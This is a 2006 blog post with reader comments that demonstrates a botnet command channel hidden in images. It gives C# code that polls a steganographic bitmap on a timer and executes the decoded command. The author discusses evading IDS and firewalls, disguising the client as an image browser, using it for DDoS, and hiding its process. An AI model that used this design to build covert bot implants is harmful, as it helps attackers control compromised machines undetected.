Thursday, March 30, 2006

Security/C#: Demonstration of Steganography Messages to Evade IDS Detection

In response to a discussion with Taosecurity author Richard Bejtlich I had some time back in regards to botnet techniques used to evade detection, I have come up with a very simple technique that can be used to circumvent firewalls and IDS systems, and still allow bots to receive commands in a bot-net. I’ve been putting off posting this article for some time since I wanted to add more to it (work in progress since about October, I believe). I really wanted to do more with it, however time just didn’t allow me to research the issue any further. However, I do feel that I have collected enough information to accurately demonstrate this concept; although I had to leave out some of the features I wanted to demonstrate.

This technique uses steganography to embed a simple command protocol into image files. When combined with methods for determining proxy configurations (Windows stores this internally, you can set them under Internet Explorer under Tool, Internet Options, Connections, and Lan Settings, or under the Control Panel), clients can use the existing egress rules to retrieve said embedded file remotely through approved outbound ports and proxy servers. To any passive observer, this is simple web traffic retrieving graphics that are embedded into everyday web pages. Clients than can be set to retrieve graphics from a location or locations at random or set intervals.

This program is written in Visual C# 2005 Express. It makes use of the .Net Steganography library found here. I also use the example program from these libraries to embed my message into the image file, although I could just as easily custom written something for a more elaborate protocol. But for demonstration purposes, this will do nicely.

The protocol designed in this demonstration is very simple, it will only display a message box, or it will open notepad.exe, depending on the message embedded into the image file. The protocol source is below.

namespace Protocol
    class protocol_class
        const int POP_UP_WINDOWS = 1;
        const int RUN_NOTEPAD = 2;

        public void  processCommand(int inCommand){
            switch (inCommand)
                case POP_UP_WINDOWS:
                      System.Windows.Forms.MessageBox.Show("Command Recieved");
                case RUN_NOTEPAD:

The main program will utilize the System.Timer.Timer component      to trigger a function once every 10 seconds. Since this program is a console program and is not using the graphical designer, I will need to manually assign an event handler to the Elapsed event.

The Event Handler will basically parse the given Stego Bitmap to retrieve the commands and process using the Protocol_Class defined above. It passes the results of the Steganography libraries Decode function to the processCommand function to execute the given command. The Main source file for this example is below:

* Author: John Ward
* Date: 01-09-2006
* This program will retrieve a steganography image, and respond to the embedded
* commands inside of the undecoded message
* **************************************************************************/
using System;
using System.Collections.Generic;
using System.Text;
using Steganography;
using Protocol;

//Name of the program
namespace ConsoleApplication1
    class Program
        //We need a general System Timer to use throughout the class
        private static System.Timers.Timer t = new System.Timers.Timer();
        //Main function for command line
        static void Main(string[] args)
            //Enable the timer and set the interval for 10 seconds
            t.Enabled = true;
            t.Interval = 10000;

            //Assign a new event handler to the Elapsed method
            t.Elapsed += new System.Timers.ElapsedEventHandler(t_Elapsed);
            //Start the timer

            //Loop repeatably
            while (true) ;

        //The evant handler for the timer intervals
        static void t_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
            //The protocol class that will respond to the messages encoded in each image
            protocol_class p = new protocol_class();

            //Use the protocol class method to respond to the decoded message at this location, using password test
            p.processCommand(Decode("C:\\Documents and Settings\\Administrator\\My Documents\\Blog Entries\\Steganography Protocol\\Steganography Source\\sguil_window_of_portscan_2.bmp",

        //The decode method for this class, based off of the Steganography
        //class built by
        private static int Decode(string fileName, string password)
            // Open the stego file
            IStegoFile stego = new BMPStegoFile(fileName, password);

            //REturn the hidden message as a 16 bit integer
            return Convert.ToInt16(stego.HiddenMessage);


And that is basically it. Using the source code for the image encoder included with the .Net Steganography library, and using a generic password of “test”, I embed a simple message of either “1” or “2” into the graphic. The Convert.ToInt16() function will take care of changing it from a text to a numeric representation for the Protocol classes processCommand function.

So basically, all this does is open a Bitmap file, decode the stenography message, and pass the resulting message to the protocol class for handling. More sophisticated techniques can be employed, and steganography has grown as a field, so different graphics formats, MP3 files, or even specially encoded HTML headers can contain the message. This deviates from the traditional botnet where the client connects to an IRC channel or some other central media to receive commands in real time. In this method, the attacker loses real-time response and gains stealth. With a reasonable interval of time set for the clients, the attacker can have their nefarious commands executed in a short amount of time. By combining this code with some disguised distribution method, lets say an image thumb-nail browser for an online graphics catalog, the program can be distributed widely, and its online image grabbing behavior would never be suspect until the mass traffic adding to a DDOS attack came from the client machine. And even if it were, your normal Net-Sec analyst would only see an image file and have no clue that the image file contained a steganography-encoded message. There are tools for detecting the presence of steganography in image files, however I have not seen any that do so passively over the wire. AS the program stands, the console window is still visible, however there are methods for hiding it and the process list entry making it very difficult to detect if it were to stay resident after execution.

On a side note, this also gave me a chance to demonstrate a few C# concepts, such as using the System.Timers class and setting up custom event handlers for the Elapsed method, and creating and instantiating a simple class.


Georg 'oxff' Wicherski said...

You proposed an interesting solution, however your described technique to evade firewall and IDS is already used in the wild (HTTP as c&c protocol, registry for proxy server detection). Additionally the steganography of using an image is not really required here. First, think of the traffic 10k Bots produce retrieving a 10 kB Image every 60 seconds. Second, a simple text protocol with a variable 2-byte key XOR already does the job as well.

John Ward said...

I was actually going to use HTTP at first, but I came across the steganography library and thought that would be an interesting demonstration. There are tons of plain site methods that are possible, such as HTML text with bitmasks, or regular HTML keywords in the HTMP headers, obscure cookie values, values of rotating ads, etc. I wasn't aware that the HTTP method was already in use in the wild. I figured it was only a matter of time before someone figured out that the proxy settings in Windows are stored int eh registry, and the .Net internet controls use these settings by default, thus reducing programming tasks.

Anonymous said...
This comment has been removed by a blog administrator.